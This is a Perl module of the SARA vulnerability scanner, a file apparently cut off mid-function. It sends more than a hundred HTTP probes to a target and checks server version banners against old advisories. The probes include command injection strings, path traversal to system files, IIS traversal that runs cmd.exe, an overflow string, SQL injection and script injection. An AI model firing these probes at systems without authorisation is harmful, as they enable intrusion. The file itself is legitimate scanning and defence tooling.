#!/usr/bin/perl5.8.4
#
# 
# http.sara: version 2.1, 08 Mar 99, 23:30:00, last mod by todd
# http.sara: version 2.2, 09 May 99, 21:00:00, last mod by todd
# http.sara: version 2.3, 15 Nov 99, 23:00:00, last mod by todd
# http.sara: version 2.4  10 Mar 00, 21:00:00, last mod bt todd
# http.sara: version 2.5  20 Apr 00, 21:00:00, last mod by todd
# http.sara: version 2.6  26 Apr 00, 15:00:00, last mod by todd/pendleton
# http.sara: version 2.7  16 Apr 00, 09:00:00, last mod by todd
# http.sara: version 2.8  24 May 00, 15:00:00, last mod by todd
# http.sara: version 2.9  12 Jun 00, 15:00:00, last mod by todd
# http.sara: version 2.10 12 Jul 00, 17:00:00, last mod by todd
# http.sara: version 2.11 21 Jul 00, 21:00:00, last mod by todd
# http:sara: version 2.12  9 Jul 00, 09:00:00, last mod by todd
# http.sara: version 2.13 13 Jul 00, 21:00:00, last mod by todd
# http.sara: version 2.14 16 Oct 00, 17:00:00, last mod by todd
# http.sara: version 2.15 04 Dec 00, 17:00:00, last mod by todd
# http.sara: version 2.16 19 Dec 00, 17:00:00, last mod by todd
# http.sara: version 2.17 03 Jan 01, 23:00:00, last mod by todd
# http.sara: version 2.18 30 May 01, 23:30:00, last mod by todd
# http.sara: version 2.20 19 Jun 01, 14:10:00, last mod by todd
# http.sara: version 2.30 23 Jul 01, 19:00:00, last mod by todd
# http.sara: version 2.40 23 Aug 01, 11:00:00, last mod by todd
# http.sara: version 2.45 22 Jan 02, 11:00:00, last mod by todd
# http.sara: version 2.50 23 Apr 02, 11:00:00, last mod by todd
# http.sara: version 2.51 30 Apr 02, 11:00:00, last mod by todd
# http.sara: cersion 2.52 15 Jun 02, 11:00:00, last mod by todd
# http.sara: version 2.53 12 Aug 02, 21:00:00, last mod by todd
#
# Checks several classes of getting files by (a) executing programs
# or (2) reading files
#
# Horrible kludge for infosrch (sorry)
# (so bad that I commented it out)


require 'config/paths.pl';
require 'config/sara.cf';
require 'perl/hostname.pl';
require 'perl/misc.pl';
require 'perllib/getopts.pl';

&Getopts("a:v");

$SANITY = "YEP";	# Reset if 1st test gives a 200 OK
$SANITYCGI = "YEP";     # Reset if ist test gives a 500 Server Error

# Array of all the strings to send to the server on the port
$string[0] = 'GET /cgi-bin/this_page_could_not_exist.pl?test=sara HTTP/1.0\n\n\n';
$attack[0] = 'sanity';
$svcode[0] = 'g';
$string[1] = 'GET /cgi-bin/webdist.cgi?distloc=;/bin/cat%20/etc/services\n\n';
$attack[1] = 'webdist';
$svcode[1] = 'us';
$string[2] = 'GET /cgi-bin/phf?QALIAS=x%0A/bin/cat%20/etc/services\n\n';
$attack[2] = 'PHF';
$svcode[2] = 'us';
$string[3] = 'GET /cgi-bin/htmlscript?../../../../../../../../etc/services\n\n';
$attack[3] = 'htmlscript';
$svcode[3] = 'us';
$string[4] = 'GET /cgi-bin/view-source?../../../../../../../../etc/services\n\n';
$attack[4] = 'viewsource';
$svcode[4] = 'us';
$string[5] = 'GET /cgi-bin/php.cgi?/etc/services\n\n';
$attack[5] = 'PHP';
$svcode[5] = 'us';
$string[6] = 'GET /_vti_bin/_vti_aut/Dvwssr.dll HTTP/1.0\n\n';
$attack[6] = 'IIS VisDev';
$svcode[6] = 'ycio';
$string[7] = 'GET /iissamples/exair/howitworks/codebrws.asp?source=/../../boot.ini\n\n';
$attack[7] = 'IIS Samples (codebrws)'; 
$svcode[7] = 'nr';
$string[8] = 'GET /cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c \boot.ini\n\n';
$attack[8] = 'ColdFusion';
$svcode[8] = 'uw';
$string[9] = 'GET /cgi-bin/campas HTTP/1.0\n\n\n';
$attack[9] = 'Campus CGI';
$svcode[9] = 'ycio';
$string[10]= 'GET /cgi-bin/Count.cgi HTTP/1.0\n\n\n';
$attack[10]= 'Count.cgi';
$svcode[10]= 'ycio';
$string[11]= 'GET /cgi-bin/handler HTTP/1.0\n\n\n';
$attack[11]= 'handler';
$svcode[11]= 'ycio';
$string[12]= 'GET /cgi-bin/info2www HTTP/1.0\n\n\n';
$attack[12]= 'info2www';
$svcode[12]= 'ycio';
$string[13]= 'GET /cgi-win/uploader.exe HTTP/1.0\n\n\n';
$attack[13]= 'uploader';
$svcode[13]= 'ycio';
$string[14]= 'GET /cgi-bin/webgais.cgi HTTP/1.0\n\n\n';
$attack[14]= 'webgais.cgi';
$svcode[14]= 'ycio';
$string[15]= 'GET /cgi-bin/websendmail HTTP/1.0\n\n\n';
$attack[15]= 'websendmail';
$svcode[15]= 'ycio';
$string[16]= 'GET /msadc/msadcs.dll/ActiveDataFactory.Query HTTP/1.0\n\n\n';
$attack[16]= 'RDS';
$svcode[16]= 'us';
$string[17]= "GET /cgi-bin/htsearch?exclude=%60/etc/services%60\n\n";
$attack[17]= 'htsearch';
$svcode[17]= 'us';
$string[18]= 'GET /cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/services HTTP/1.0\n\n';
$attack[18]= 'infosrch';
$svcode[18]= 'ycio';
$string[19]= 'GET /cgi-bin/nph-test-cgi HTTP/1.0\n\n\n';
$attack[19]= 'nph-test-cgi';
$svcode[19]= 'ycio';
$string[20]= 'GET /cgi-bin/test-cgi/*?* HTTP/1.0\n\n\n';
$attack[20]= 'test-cgi';
$svcode[20]= 'ycio';
$string[21]= 'GET /cgi-bin/aglimpse HTTP/1.0\n\n\n';
$attack[21]= 'aglimpse';
$svcode[21]= 'ycio';
$string[22]= 'GET /cgi-bin/wrap HTTP/1.0\n\n\n';
$attack[22]= 'wrap';
$svcode[22]= 'ycio';
$string[23]= 'GET /cgi-bin/webgais HTTP/1.0\n\n\n';
$attack[23]= 'webgais';
$svcode[23]= 'ycio';
$string[24]= 'GET /cgi-shl/win-c-sample.exe HTTP/1.0\n\n\n';
$attack[24]= 'win-c';
$svcode[24]= 'ycio';
$string[25]= 'GET /cgi-dos/args.bat HTTP/1.0\n\n\n';
$attack[25]= 'args.bat';
$svcode[25]= 'ycio';
$string[26]= 'GET /cgi-dos/args.cmd HTTP/1.0\n\n\n';
$attack[26]= 'args.cmd';
$svcode[26]= 'ycio';
$string[27]= 'GET /cgi-bin/faxsurvey?/bin/cat%20/etc/services\n\n';
$attack[27]= 'faxsurvey';
$svcode[27]= 'us';
$string[28]= 'GET /cgi-bin/jj HTTP/1.0\n\n\n';
$attack[28]= 'jj';
$svcode[28]= 'us';
$string[29]= 'GET /cgi-bin/pfdispaly?../../../../../../etc/service\n\n';
$attack[29]= 'pfdispaly';
$svcode[29]= 'us';
$string[30]= 'GET /piranha/secure/passwd.php3 HTTP/1.0\n\n\n';
$attack[30]= 'piranha';
$svcode[30]= 'ycio';
$string[31]= 'GET /cgi-bin/counterfiglet/nc/f=;sh%20-c%20"$HTTP_X" HTTP/1.0 X: cat /etc/service\n\n\n';
$attack[31]= 'counter';
$svcode[31]= 'us';
$string[32]= 'GET /cgi-bin/query?mss=../../../../../../../etc/services\n\n';
$attack[32]= 'query';
$svcode[32]= 'us';
$string[33]= 'GET /cgi-bin/ezshopper/loadpage.cgi?user_id=1&file=|cat /etc/services|\n\n';
$attack[33]= 'ezshopper';
$svcode[33]= 'us';
$string[34]= 'GET /cgi-bin/ezshopper/search.cgi?user_id=id&database=dbase1.exm&template=.. /../../../../../../etc/services\n\n';
$attack[34]= 'ezshopper';
$svcode[34]= 'us';
$string[35]= 'GET /cgi-bin/sojourn.cgi?cat=../../../../../../../etc/services\n\n';
$attack[35]= 'ezshopper';
$svcode[35]= 'us';
$string[36]= 'GET /cgi-bin/MachineInfo HTTP/1.0\n\n\n';
$attack[36]= 'machineinfo';
$svcode[36]= 'ycio';
$string[37]= 'GET /mylog.phtml?screen=/etc/services\n\n';
$attack[37]= 'mylog';
$svcode[37]= 'us';
$string[38]= 'GET /mlog.phtml?screen=/etc/services\n\n';
$attack[38]= 'mlog';
$svcode[38]= 'us';
$string[39] = 'GET /_vti_bin/_vti_aut/author.dll HTTP/1.0\n\n\n';
$attack[39] = 'FrontPage [author]';
$svcode[39] = 'us';
$string[40] = 'GET /_vti_bin/_vti_adm/admin.dll HTTP/1.0\n\n\n';
$attack[40] = 'FrontPage [admin]';
$svcode[40] = 'us';
$string[41] = 'GET /cgi/wja?page=/../../../boot.ini \n\n';
$attack[41] = 'JetAdmin';
$svcode[41] = 'us';
$string[42] = 'GET /.htaccess HTTP/1.0\n\n\n';
$attack[42] = 'Colbalt_Raq';
$svcode[42] = 'ycio';
$string[43] = 'GET /iissamples/exair/howitworks/code.asp HTTP/1.0\n\n\n';
$attack[43] = 'IIS Samples (code)';
$svcode[43] = 'ycio';
$string[44] = 'GET /msadc/samples/selector/showcode.asp HTTP/1.0\n\n\n';
$attack[44] = 'IIS Samples (showcode)';
$svcode[44] = 'ycio';
$string[45] = 'GET /cgi-bin/csh HTTP/1.0\n\n\n';
$attack[45] = 'Unix csh shell';
$svcode[45] = 'ycio';
$string[46] = 'GET /cgi-bin/sh HTTP/1.0\n\n\n';
$attack[46] = 'Unix sh shell';
$svcode[46] = 'ycio';
$string[47] = 'GET /cgi-bin/bash HTTP/1.0\n\n\n';
$attack[47] = 'Unix bash shell';
$svcode[47] = 'ycio';
$string[48] = 'GET /cgi-bin/ksh HTTP/1.0\n\n\n';
$attack[48] = 'Unix ksh shell';
$svcode[48] = 'ycio';
$string[49] = 'GET /cgi-bin/tcsh HTTP/1.0\n\n\n';
$attack[49] = 'Unix tcsh shell';
$svcode[49] = 'ycio';
$string[50] = 'GET /cgi-bin/zsh HTTP/1.0\n\n\n';
$attack[50] = 'Unix zsh shell';
$svcode[50] = 'ycio';
$string[51] = 'GET /cgi-bin/perl HTTP/1.0\n\n\n';
$attack[51] = 'Unix perl shell';
$svcode[51] = 'ycio';
$string[52] = '/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/services\n\n';
$attack[52] = 'Unix Big Brother';
$svcode[52] = 'us';
$string[53] = 'GET /site/eg/source.asp HTTP/1.0 \n\n\n';
$attack[53] = 'Apache source.asp';
$svcode[53] = 'ycio';
$string[54] = 'GET /pollit/Poll_It_v2.0.cgi?data_dir=\etc\service%00\n\n';
$attack[54] = 'Pollit CGI';
$svcode[54] = 'us';
$string[55] = 'GET /cgi-bin/admin/admin?help\n\n';
$attack[55] = 'Answerbook2';
$svcode[55] = 'ycio';
$string[56] = 'GET phpPhotoAlbum/explorer.php?folder=../../../../\n\n';
$attack[56] = 'PhotoAlbum';
$svcode[56] = 'ycio';
$string[57] = 'GET cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/services%00\n\n';
$attack[57] = 'YaBB';
$svcode[57] = 'us';
$string[58] = 'PUT /sara.txt HTTP/1.0\nContent-Length: 10\nThis is a SARA test file\n\n';
$attack[58] = 'PUT (on root directory)';
$svcode[58] = 'us';
$string[59] = 'PUT /cgi-bin/sara.txt HTTP/1.0\nContent-Length: 10\nThis is a SARA test file\n\n';
$attack[59] = 'PUT (on cgi-bin directory)';
$svcode[59] = 'us';
$string[60] = 'GET /cgi-bin/shopper.cgi?newpage=../../../services\n\n';
$attack[60] = 'Web Shopper';
$svcode[60] = 'us';
$string[61] = 'GET /cgi-bin/shop.cgi?page=../../../services\n\n';
$attack[61] = 'Shopping Cart';
$svcode[61] = 'us';
$string[62] = 'GET /index.phtml HTTP/1.0\n\n\n';
$attack[62] = 'PHP';
$svcode[62] = 'ycio';
$string[63] = 'GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/services\n\n';
$attack[63] = 'dot-dot folder traversal';
$svcode[63] = 'us';
$string[64] = 'GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini\n\n',
$attack[64] = 'dot-dot folder traversal';
$svcode[64] = 'us';
$string[65] = 'GET /../../../../../etc/services\n\n';
$attack[65] =  'dot-dot folder traversal';
$svcode[65] = 'us';
$string[66] = 'GET /../../../../../boot.ini\n\n';
$attack[66] =  'dot-dot folder traversal';
$svcode[66] =  'us';
$string[67] = 'GET /cgi-bin/netauth.cgi?cmd=show&page=../../../boot.ini\n\n';
$attack[67] =  'netauth dot-dot folder traversal';
$svcode[67] =  'us';
$string[68] = 'GET /cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/services|\n\n';
$attack[68] =  'calendar.pl file access';
$svcode[68] =  'us';
$string[69] = 'GET /exec/show/config/cf\n\n';
$attack[69] = 'Cisco Catalyst access';
$attack[69] = 'us';
$string[70] = 'GET /cgi-bin/webplus?script=/../../../../etc/services\n\n';
$svcode[70] = 'us';
$attack[70] = 'Webplus dot.dot attack';
$string[71] = 'GET /cgi-bin/webplus.exe?script=/../../../../boot.ini\n\n';
$svcode[71] = 'us';
$attack[71] = 'Webplus dot.dot';
$string[72] = 'GET /cgi-bin/webplus.cgi?script=/../../../../etc/services\n\n';
$svcode[72] = 'us';
$attack[72] = 'Webplus dot.dot attack';
$string[73] = 'GET /iissamples/sdk/asp/docs/codebrws.asp  HTTP/1.0\n\n\n';
$attack[73] = 'IIS Samples (codebrws)';
$svcode[73] = 'ycio';
$string[74] = 'GET /cfdocs/expeval/exprcalc.cfm HTTP/1.0\n\n\n';
$attack[74] = 'ColdFusion';
$svcode[74] = 'ycio';
$string[75] = 'GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[75] = 'IIS Folder Traversal (command execution)';
$svcode[75] = 'us';
$string[76] = 'GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[76] = 'IIS Folder Traversal (command execution)';
$svcode[76] = 'us';
$string[77] = 'GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[77] = 'IIS Folder Traversal (command execution)';
$svcode[77] = 'us';
$string[78] = 'GET //msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[78] = 'IIS Folder Traversal (command execution)';
$svcode[78] = 'us';
$string[79] = 'GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[79] = 'IIS Folder Traversal 2 (command execution)';
$svcode[79] = 'us';
$string[80] = 'GET /globals.pl HTTP/1.0\n\n';
$attack[80] = 'Bugzilla vulnerabilities';
$svcode[80] = 'ycio';
#$string[81] = 'GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.0\n\n\n';
#$attack[81] = 'Potential Microsoft password backdoor';
#$svcode[81] = 'ycio';
$string[81] = 'GET /jsp/ HTTP/1.0\n\n\n';
$attack[81] = 'Possible Netscape/Oracle Application Server buffer overflow';
$svcode[81] = 'ycio';
$string[82] = 'GET /PDG_Cart/redirect.exe HTTP/1.0\n\n\n';
$attack[82] = 'Possible PDG Shopping Cart buffer overflow';
$svcode[82] = 'ycio';
$string[83] = 'GET /mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Bcat%20""%20%3B%20/etc/services\n\n';
$attack[83] = 'Possible Mailman vulnerability'; 
$svcode[83] = 'us';
$string[84] = "GET /NULL.printer HTTP/1.0\n" . "Host: localhost\nSARA\n\n\n";
$attack[84] = "IIS 5.0 (ISAPI) may be vulnerable to buffer overflow (MS 29231)";
$svcode[84] = 'ycio';
$string[85] = "GET /x.ida?SARA-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=X HTTP/1.1\nHost: sara.sara.sara\r\n\r\n";
$attack[85] = 'MS Index services (idq.dll) may be vulnerable to buffer overflow (MS01-033)';
$svcode[85] = 'bo';
$string[86] = "GET /_vti_bin/_vti_aut/fp30reg.dll?SARA\n\n";
$attack[86] = 'IIS FrontPage (RAD) may be vulnerable to buffer overflow (MS01-035)';
$svcode[86] = 'ycio';
$string[87] = 'GET /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[87] = 'IIS Folder Traversal 3 (command execution)';
$svcode[87] = 'us';
$string[88] = 'GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[88] = 'IIS Folder Traversal 3 (command execution)';
$svcode[88] = 'us';
$string[89] = 'GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[89] = 'IIS Folder Traversal 3 (command execution)';
$svcode[89] = 'us';
$string[90] = 'GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[90] = 'IIS Folder Traversal 3 (command execution)';
$svcode[90] = 'us';
$string[91] = 'GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[91] = 'IIS Folder Traversal 3 (command execution)';
$svcode[91] = 'us';
$string[92] = 'GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[92] = 'IIS Folder Traversal 3 (command execution)';
$svcode[92] = 'us';
$string[93] = 'GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[93] = 'IIS Folder Traversal 4 (command execution)';
$svcode[93] = 'us';
$string[94] = 'GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[94] = 'IIS Folder Traversal 4 (command execution)';
$svcode[94] = 'us';
$string[95] = 'GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[95] = 'IIS Folder Traversal 4 (command execution)';
$svcode[95] = 'us';
$string[96] = 'GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[96] = 'IIS Folder Traversal 4 (command execution)';
$svcode[96] = 'us';
$string[97] = 'GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[97] = 'IIS Folder Traversal 5 (command execution)';
$svcode[97] = 'us';
$string[98] = 'GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[98] = 'IIS Folder Traversal 5 (command execution)';
$svcode[98] = 'us';
$string[99] = 'GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[99] = 'IIS Folder Traversal 5 (command execution)';
$svcode[99] = 'us';
$string[100] = 'GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[100] = 'IIS Folder Traversal 5 (command execution)';
$svcode[100] = 'us';
$string[101] = 'GET /c/winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[101] = 'IIS Folder Traversal 6 (command execution)';
$svcode[101] = 'us';
$string[102] = 'GET /d/winnt/system32/cmd.exe?/c+dir+c:\\\n\n';
$attack[102] = 'IIS Folder Traversal 6 (command execution)';
$svcode[102] = 'us';
$string[103] = 'GET /cfdocs/exampleapps/email/compose.cfm HTTP/1.0\n\n\n';
$attack[103] = 'ColdFusion exampleapps';
$svcode[103] = 'us';
$string[104] = 'GET /scripts/root.exe?/c+dir+c:\\\n\n';
$attack[104] = 'Directory Traversal or CodeRed created root.exe found';
$svcode[104] = 'us';
$string[105] = 'GET /msadc/root.exe?/c+dir+c:\\\n\n';
$attack[105] = 'Directory Traversal or CodeRed created root.exe found';
$svcode[105] = 'us';
$string[106] = 'GET /msadc/Admin.dll\n\n';
$attack[106] = 'Nimda created Admin.dll found';
$svcode[106] = 'us';
$string[107] = 'GET /scripts/Admin.dll\n\n';
$attack[107] = 'Nimda created Admin.dll found';
$svcode[107] = 'us';
$string[108] = '/network_query.php?portNum=80&queryType=all&target=www.someserver.com%3Bcat+/etc/services&Submit=Do+It\n\n';
$attack[108] = 'Network Query Tool';
$svcode[108] = 'us';
$string[109] = 'GET /msadc/Httpodbc.dll\n\n';
$attack[109] = 'Nimda created Httpodbc.dll found';
$svcode[109] = 'us';
$string[110] = 'GET /scripts/Httpodbc.dll\n\n';
$attack[110] = 'Nimda created Httpodbc.dll found';
$svcode[110] = 'us';
$string[111] = 'GET / HTTP/1.0\n\n\n';
$attack[111] = 'looking for readme.eml';
$svcode[111] = 'us';
$string[112] = "GET /cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlogid+as+mestname,0+from+shopper+where+shshtyp+%3d+'A';\n\n\n";
$attack[112] = 'Net Commerce vulnerability';
$svcode[112] = 'ycio';
# expect /access-group or /access-list/ or enable secret
$string[113] = "GET /exec/show/config/cr\n\n";
$attack[113] = "Cisco Catalyst access";
$svcode[113] = "rs";
#Expect a 200 OK
$string[114] = "GET /_ncl_subjects.shtml\n\n";
$attack[114] = "Tektronix web backdoor detected";
$svcode[114] = "uw";
# expect 200 OK add to IIS vulnerabilities
$string [115] = "GET /global.asp\\\\\\\\ HTTP/1.0\nTranslate: f\nContent-type: x-www-form-urlencoded\nContent-type: text/html\nContent-length: 18\n\nmatch=www&errors=0\n\n";
$attack[115] = "IIS header vulnerability";
#expect :0:
# expect 200 new class of Lotus Domino server vulnerability
$string[116] = "GET /.nsf/../boot.ini HTTP/1.0\n\n";
$attack[116] = "nsf vulnerability in Lotus Domino";
$svcode[116] = "ycio";
$string[117] = "GET /statrep.nsf/\$alarms/8F6?OpenDocument\n\n";
$attack[117] = "Lotus Domino view access control bypass";
$svcode[117] = "ycio";
# expect 200, class is IIS access
$string[118] = "GET /scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat\\\"+&+dir+c:\\+.exe HTTP/1.0\n\n";
$attack[118] = "IIS vulnerability through MSSQL 7";
$svcode[118] = "us";
$string[119] =  "GET /.\\\"./.\\\"./winnt/win.ini%20.php3 HTTP/1.0\n\n";
$attack[119] = "IIS vulnerability through PHP";
$svcode[119] = "us";
$string[120] = 'GET /search97cgi/s97_cgi?Action=FilterSearch&Filter=\\"><script>SARA</script>\n\n';
$attack[120] = "Cross Site Script Weakness";
$svcode[120] = "ycio";
$string[121] = 'GET /cgi-bin/htdig/htsearch2?words=\\"><script>SARA</script>\n\n';
$attack[121] = "Cross Site Script Weakness";
$svcode[121] = "ycio";
$string[122] = 'GET /cgi-bin/htsearch?exclude=\\"><script>SARA</script>\n\n';
$attack[122] = "Cross Site Script Weakness";
$svcode[122] = "ycio";
$string[123] = 'GET /cgi-bin/search?words=\\"><script>SARA</script>\n\n';
$attack[123] = "Cross Site Script Weakness";
$svcode[123] = "ycio";
# Look for htr asp, expect a 403 error if it is there
$string[124] = 'GET /NULL.htr HTTP/1.0\r\nHost: SARA\r\n\r\n';
$attack[124] = "Multiple IIS vulnerabilities (HTR ASP)";
$svcode[124] = "ycio";
#$string[125] = 'POST /iisstart.asp HTTP/1.1\r\nAccept: */*\r\nHost: SARA\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\n10\r\nPADPADPADPADP\r\n4\r\nDATA\r\n4\r\nDEST\r\n0\r\n\r\n';
#$attack[125] = 'Multiple IIS vulnerabilities (ASP)';
#$svcode[125] = 'us';

if ($#ARGV < 1) {
   die "Usage: http.sara [-v] [-a attack#] port target\n";
}
# Get Attack Mode
foreach (keys %ENV) {
  $level_flag=$ENV{SARA_LEVEL};
}
$extreme = 1;
$extreme = 1 if $level_flag == 3;
$target = "$ARGV[1]";
$port ="$ARGV[0]";
if($ARGV[0] =~ /\:/) {
   $port =~ s/\:TCP//;
} else {
   open(SERVICES, $SERVICES) or die "$0: cannot open $SERVICES: $!\n";
   while(<SERVICES>) {
      $port_name{$1} = $2 if /(\S+)\s+([0-9]+)\/tcp/;
   }
   $port = $port_name{$ARGV[0]} if $port_name{$ARGV[0]};
}

if (!$port) {
   $port = getservbyname($ARGV[0], "tcp");
}

$service   = $ARGV[0];
exit if $service eq "https" || $port == 443;
$status    = "a";
$severity  = "g";
$trustee   = "";
$trusted   = "";
$service_output = "";
$printed   = 0;
$apache    = 0;
$netscape  = 0;
$php       = 0;
$openssl   = 0;
$iis_5     = 0;
$win2k     = 1;
$iis_pwd_bd= 0;
$response  = 0;
if ($service eq "http"){ 
  $text = "offers http";
} else {
  $text = "offers http on port $service";
}
#
# Check for selected attack request
#
if ($opt_a) {
  $i = 0;
  (@tmp) = split(/,/,$opt_a);
  for (@tmp) {
    if (/\-/) {
      ($start,$stop) = split(/\-/);
      for $cnt ($start .. $stop){
       $selected[$i] = $cnt;
       $i++
      }
    } else {
      $selected[$i] = $_;
      $i++;
    }
  }
}

#
#  Dtermine if it is Windows 2000 or above
#
  $args = "-f 3 -b -s \"QUIT\n\" $target 445";
  die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
  while(<SCAN>) {
    chomp;
    if (/^445/ && /::$/) {
      $win2k=1;
    }
  }

$i = 0;
while ($string[$i]) {
   if(@selected) {
     $go_selected = 0;
     for (@selected) {
      $go_selected = 1 if ($i == $_);
     }
     if ($go_selected != 1) {
       $i = $i +1;
       next;
     }
    }
   $iis_pwd_bd = 1 if($attack[$i] eq "Potential Microsoft password backdoor");
   $args = "-w 15 -bs  \"$string[$i]\" $target $port";
   print "\n$string[$i]\n" if $opt_v;
   die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
   while(<SCAN>) {
   $response = 1;
   $iis_pwd_bd = 0 if($attack[$i] eq "Potential Microsoft password backdoor");
   print $_ if $opt_v;
   if(/::$/) {
     $i = $i +1;
     next
   }
#
# Test for vulnerable versions of PHP
#
   if (/Server/ && /PHP\//) {
     /PHP\/([0-9]).([0-9]).([0-9])/ ? ($1, $2, $3) : 0;
     $v1 = $1;
     $v2 = $2;
     $v3 = $3;
     if ($v1 == 4 && $v2 == 2 && $v3 <=1) {
       if ($php == 0) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $service_output = "PHP version [CA-2002-21]";
            $trusted = "ANY\@ANY";
            $text = "PHP (4.2.[0-1]) may be vulnerable to POST exploit";
            $severity = "ycio";
            &sara_print();
            $php=1;
       }
    } elsif ($v1 == 3 && $v2 == 0 && $v3 > 10) {
       if ($php == 0) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $service_output = "PHP version [CA-2002-21]";
            $trusted = "ANY\@ANY";
            $text = "PHP  may be vulnerable to upload exploit";
            $severity = "ycio";
            &sara_print();
            $php=1;
       }
     } elsif ($v1 == 4 && (($v2 == 0 && $v3 < 10) || ($v2 == 1 && $v3 < 2))) {
       if ($php == 0) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $service_output = "PHP version [CA-2002-21]";
            $trusted = "ANY\@ANY";
            $text = "PHP  may be vulnerable to upload exploit";
            $severity = "ycio";
            &sara_print();
            $php=1;
       }

     }
   }
#
#  Test for vulnerable OpenSSL
#
 if (/Server/ && /OpenSSL\//) {
     /OpenSSL\/([0-9]).([0-9]).([0-9a-z]+)/ ? ($1, $2, $3) : 0;
     $v1 = $1;
     $v2 = $2;
     $v3 = $3;
     if ($v1 == 0 && $v2 == 9) {
      if ($v3 ==5||($v3 eq "6a"||$v3 eq "6b"||$v3 eq "6c"||$v3 eq "6d")) {
        if ($openssl == 0) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $service_output = "OpenSSL version [CA-2002-23]";
            $trusted = "ANY\@ANY";
            $text = "OpenSSL  may be vulnerable to buffer overflow ($service)";
            $severity = "ycio";
            &sara_print();
            $openssl=1;
       }

      }
     }
 }

#
#  Test for O'Reilly, Netscape, and Apache Server Server.
#     If O'Reilly and Version < WebSitePro/2.5
#     If Enterprise less than 4.1 then vulnerable;
#     If Enterprise 2.6. SP3, then Admin Server (if running) vulnerable
#     If Fastrack less than 4.0 then vulnerable
#
      if (/Server: WebSitePro\/1.[0-9]/ || /Server: WebSitePro\/2.[0-4]/) {
         if ($printed_bo == 0) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $service_output = "Potentially Vulnerable Web Server";
            $trusted = "ANY\@ANY";
            $text = "O'Reilly WebSitePro server vulnerable to buffer overflow ($service)";
            $severity = "ycio";
            &sara_print();
            $printed_bo=1;
         }
       }

      if (/Server: / && /Enterprise/) {
         if ($printed_bo == 0) {
           /Netscape-Enterprise\/([0-9]+)\.([0-9.]+)/ ? ($1, $2) : 0;
           $v1=$1; $v2=$2;
           /SP([0-9]+)/ ? $1 : 0;
           $v3=$1;
           $netscape = 1;
           if ($v1 !=0 && $v1 <= 3) {
             if ($v1 !=3 || $v1 !=4 || $v2 !=6 || $v3 !=3) {
               $service = $ARGV[0];
               $status = "a";
               $trustee = "ANY\@ANY";
               $service_output = "Potentially Vulnerable Web Server";
               $trusted = "ANY\@ANY";
               $text = "Netscape Enterprise server vulnerable to buffer overflow ($service)";
               $severity = "ycio";
               &sara_print();
               $printed_bo=1;
             } 
           }
             elsif ($v1 ==4 && $v2 == 0) {
               $service = $ARGV[0];
               $status = "a";
               $trustee = "ANY\@ANY";
               $service_output = "Potentially Vulnerable Web Server";
               $trusted = "ANY\@ANY";
               $text = "iPlanet server may be vulnerable to buffer overflow ($service)";
               $severity = "ycio";
               &sara_print();
               $printed_bo=1;

           }
             elsif ($v1 ==4 && $v2 == 1) {
               $service = $ARGV[0];
